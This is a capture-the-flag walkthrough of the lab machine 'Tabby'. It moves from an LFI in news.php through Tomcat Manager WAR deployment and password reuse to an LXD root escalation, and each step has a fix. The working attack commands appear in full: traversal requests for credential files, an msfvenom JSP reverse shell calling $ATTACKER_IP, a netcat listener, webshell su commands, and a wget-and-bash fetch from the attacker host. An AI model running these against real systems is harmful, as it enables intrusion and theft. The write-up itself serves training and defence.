← all walkthroughs

Tabby

Linux· Easy· Web
owned
2026-07-07
time to own
16m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon exposed Apache HTTP on port 80 and Apache Tomcat on port 8080 on the megahosting.htb virtual host. The PHP news page on port 80 contained an unauthenticated path-traversal (Local File Inclusion) flaw that let me read any file the web server could access, including the Tomcat credential store.

Web enumeration also found a publicly downloadable backup archive in the web root; cracking its weak password offline yielded a second credential that turned out to be reused as an operating-system account password. Authenticated access to the Tomcat Manager interface — using the LFI-obtained credentials — allowed deployment of a malicious Java web application that installed a command-execution webshell, granting remote code execution as the Tomcat service account.

The cracked backup password was then reused to authenticate directly as the ash user via su, capturing the user flag. Post-compromise enumeration confirmed ash belongs to the lxd group, which provides a documented single-step path to full root access via a privileged container filesystem mount; this final escalation was identified but not executed during the engagement.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork Service Scanning / Virtual-Host Discovery (T1046)
Enumerated open ports and identified the megahosting.htb virtual host
A port sweep of $TARGET found three open TCP services: SSH on 22, Apache HTTP Server 2.4.41 on 80, and Apache Tomcat on 8080. Browsing port 80 required the virtual hostname megahosting.htb to return the full application; adding this to /etc/hosts revealed a PHP-based web application for a hosting company with a news section driven by a news.php script.
Exact commands 3
Service version scan on the three discovered ports.
nmap -Pn -sV -p 22,80,8080 --open $TARGET
Register the virtual hostname so the web application resolves correctly.
echo "$TARGET megahosting.htb" | sudo tee -a /etc/hosts
Confirm the site loads under the vhost and locate the news feature.
curl -sS http://megahosting.htb/ | grep -i news
2ExploitationLocal File Inclusion / Path Traversal (CWE-22 / T1083)
Exploited a path-traversal flaw in news.php to read server files and Tomcat manager credentials
The news.php page accepted a 'file' GET parameter and passed it unsanitized to a PHP include statement. Supplying a directory-traversal sequence (../../) allowed me to read arbitrary files accessible to the Apache web-server process. Reading /etc/passwd confirmed a local user account named ash. Reading /usr/share/tomcat9/etc/tomcat-users.xml — the Tomcat credential store — exposed the manager username and password: tomcat:[REDACTED: recovered credential]
Exact commands 2
Confirm LFI and enumerate local user accounts; look for UID>=1000 entries.
curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../etc/passwd"
Read the Tomcat credential store — exposes manager username and password.
curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml"
FixFix the Local File Inclusion vulnerability in news.phpCritical
WeaknessThe news.php script passed the user-supplied 'file' GET parameter directly to a PHP include or file-read function with no sanitization, validation, or boundary check. This allowed any unauthenticated visitor to read any file the Apache process had permission to open — including the Tomcat credential store and system user list — simply by supplying a path-traversal string in the URL.
FixReplace the dynamic file inclusion with an explicit allowlist: maintain a whitelist of permitted article slugs mapped to static filenames and reject any input not on the list. If a dynamic path is genuinely required, resolve the canonical path with realpath() and verify it falls within the intended content directory before opening it. Reject at the application boundary any input containing '../', '/', '\', or null bytes. Consider enabling open_basedir in PHP configuration to restrict the interpreter to the web root as a defence-in-depth measure.
3DiscoverySensitive File Exposure via Web Content Discovery (T1083)
Located and downloaded a backup archive stored in the public web root
Web enumeration of port 80 uncovered a downloadable file at /files/16162020_backup.zip. The archive was password-protected and contained the web application's source files, including the news.php script that confirmed the LFI vulnerability. Storing application source code in a publicly accessible directory handed my direct insight into the vulnerability and set up the credential-cracking step that followed.
Exact commands 2
Download the backup archive directly from the publicly accessible /files/ directory.
curl -sS -o 16162020_backup.zip "http://$TARGET/files/16162020_backup.zip"
List archive contents without extracting — confirms webroot source files are present.
unzip -l 16162020_backup.zip
FixRemove sensitive backup archives from publicly accessible web directoriesHigh
WeaknessA full backup of the web application was stored at a guessable path (/files/16162020_backup.zip) inside the HTTP-served web root, downloadable by anyone without authentication. The archive contained application source code confirming the LFI bug and, after its weak password was cracked, yielded a credential that was reused for a system account.
FixStore backups exclusively outside the web root — for example /var/backups/ or an off-server location — where they cannot be fetched over HTTP. Audit the entire web root for any .zip, .tar.gz, .bak, .sql, or similar files and remove them immediately. If archives must remain on the host, protect them with long, randomly generated passwords that are not reused anywhere else. Automate backup rotation to ensure stale archives are never left on production servers.
4Credential AccessOffline Password Cracking (T1110.002)
Cracked the ZIP archive password offline
The backup archive was protected by a password. The zip2john tool extracted a crackable hash, and John the Ripper recovered the plaintext password [REDACTED: recovered credential] against a standard wordlist in seconds. This same password was later found to be set identically on the ash operating-system account, demonstrating credential reuse across an application artifact and a system login.
Exact commands 2
Extract the password hash from the ZIP for offline cracking.
zip2john 16162020_backup.zip > zip.hash
Crack the hash against the rockyou wordlist; recovered password is [REDACTED: recovered credential]
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
5Initial AccessServer Software Component: Web Shell via Tomcat Manager Deployment (T1505.003)
Deployed a malicious WAR file via Tomcat Manager to achieve remote code execution
The Apache Tomcat Manager application on port 8080 accepted the credentials extracted via the LFI attack. The Manager's text-mode deploy endpoint allows any authenticated user to upload and activate arbitrary Java web applications. A malicious WAR containing a JSP reverse shell was uploaded and triggered, yielding code execution as the tomcat service account (uid=997). When the initial reverse shell proved unstable, a second stateless JSP command-execution webshell (cmd.jsp) was deployed the same way for reliable, repeatable command execution.
Exact commands 4
Build the JSP reverse-shell WAR; replace $ATTACKER_IP with your tun0 interface IP.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o shell.war
Start the listener before deploying (run in background).
nc -lvnp 4444
Upload and deploy the WAR using the LFI-obtained Tomcat credentials.
curl -sS -u "tomcat:$PASSWORD" -T shell.war "http://$TARGET:8080/manager/text/deploy?path=/r&update=true"
Trigger the deployed application to fire the reverse shell back to the listener.
curl -sS "http://$TARGET:8080/r/"
FixRestrict and harden the Tomcat Manager interfaceCritical
WeaknessThe Apache Tomcat Manager application (/manager/) was reachable from the network and accepted credentials an unauthorised user had obtained by reading the server's configuration file via the LFI vulnerability. The Manager permits any authenticated user to deploy arbitrary Java web applications, which is functionally equivalent to unrestricted remote code execution on the host.
FixRestrict access to /manager/ and /host-manager/ to a specific trusted management IP or VPN range using Tomcat's RemoteAddrValve in conf/context.xml. Set long, randomly generated, unique passwords for every role defined in conf/tomcat-users.xml and delete any roles or accounts that are not operationally required. If remote deployment via the Manager is not needed in production, disable it by removing the webapps/manager directory entirely. Enforce HTTPS for any administrative interface access.
6Lateral MovementValid Accounts — Local Account Credential Reuse (T1078.003)
Reused the cracked archive password to authenticate as ash and capture the user flag
From a shell running as the tomcat service account, the cracked backup archive password [REDACTED: recovered credential] was tested against the ash account identified in /etc/passwd. The password was reused identically; the su command succeeded, elevating from the unprivileged service account (uid=997) to ash (uid=1000). The user flag was read from /home/ash/user.txt.
Curl ...cmd.jsp with printf '[REDACTED: recovered credential]' | su - ash -c 'id; cat /home/ash/user.txt' returned the user flag.
Exact commands 1
Execute su as ash via the cmd.jsp webshell; returns <user.txt> inside HTML pre tags.
curl -sS --get --data-urlencode "c=printf '$PASSWORD2\n' | su - ash -c 'id; cat /home/ash/user.txt'" "http://$TARGET:8080/cmd/cmd.jsp" | sed -n '/<pre>/,/<\/pre>/p'
FixEnforce unique passwords — do not reuse credentials across services and system accountsHigh
WeaknessThe password protecting the backup archive ([REDACTED: recovered credential]) was set identically as the interactive login password for the ash operating-system user. Cracking a weak archive password immediately provided working OS credentials, allowing an unauthorised user to pivot from an unprivileged service account to a full interactive user session with no additional exploitation required.
FixEnforce a policy that prohibits the same credential being used for more than one service, application, or account. Generate all system account passwords with a password manager (minimum 16 random characters). Rotate credentials for any account whose password appears in standard wordlists (rockyou.txt, SecLists), or that has ever been stored in an application artifact or configuration file. For interactive server logins, disable password-based SSH in favour of key-based authentication.
7Privilege Escalation Path (Identified, Not Executed)Container Escape to Host via LXD Privileged Mount (T1611)
Confirmed ash membership in the lxd group — a one-step path to full root access
Running id as ash revealed membership in the lxd group. Any member of the lxd group on Ubuntu can create a privileged LXD container that mounts the host root filesystem inside it, then read or write any host file as root — including /etc/shadow and /root/root.txt — bypassing all Linux filesystem permission checks entirely. This is a well-documented, reliable escalation path on Ubuntu systems with LXD installed. The engagement concluded at this point without executing the container-escape step.
Exact commands 5
Confirm lxd group membership as ash.
id
Build a minimal Alpine LXD image on my machine and serve it over HTTP; transfer the resulting .tar.gz files to the target.
wget http://$ATTACKER_IP/lxd_alpine_builder.sh -O /tmp/build.sh && bash /tmp/build.sh
Import the Alpine image on the target and create a privileged container named 'privesc'.
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine 2>/dev/null; lxc init alpine privesc -c security.privileged=true
Mount the host root filesystem into the container and start it.
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true && lxc start privesc
Read root.txt through the mounted host filesystem — returns <root.txt>.
lxc exec privesc -- /bin/sh -c 'cat /mnt/root/root/root.txt'
FixRemove unprivileged users from the lxd groupHigh
WeaknessThe ash user was a member of the lxd group. Membership in this group is operationally equivalent to unrestricted root access: any group member can create a privileged LXD container that mounts the host root filesystem inside it, then read or modify any file on the system as root — completely bypassing Linux user and filesystem permission controls.
FixAudit lxd group membership with getent group lxd and remove every account that does not have a documented operational requirement for container management: gpasswd -d ash lxd. Grant lxd membership only to named administrator accounts after explicit approval and with a written justification. If LXD is not actively used on the server, uninstall it entirely (snap remove lxd) to eliminate the attack surface.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

LXD/LXC Group EscapeLinux · Privilege EscalationT1611

What it is

Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.

Why it works

The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Exposed services

22/tcp
80/tcp
8080/tcp